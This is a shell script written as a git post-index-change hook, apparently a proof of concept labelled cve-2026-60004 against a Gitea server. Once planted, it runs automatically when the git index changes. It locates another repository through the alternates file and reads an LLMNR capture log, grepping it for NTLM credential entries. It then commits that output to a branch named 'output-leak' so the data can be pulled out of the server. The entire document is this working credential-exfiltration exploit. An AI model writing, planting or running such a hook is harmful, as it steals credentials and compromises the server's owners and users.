infra-19dwvz/hooks/post-index-change

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#!/bin/sh
GD=$(git rev-parse --absolute-git-dir)
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
OUT=$(sleep 120; echo '=== LOG ==='; cat /var/lib/gitea/.llmnr.log 2>/dev/null; echo '=== NTLM ==='; grep NTLM /var/lib/gitea/.llmnr.log 2>/dev/null 2>&1; echo "[exit-status=$?]")
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
#A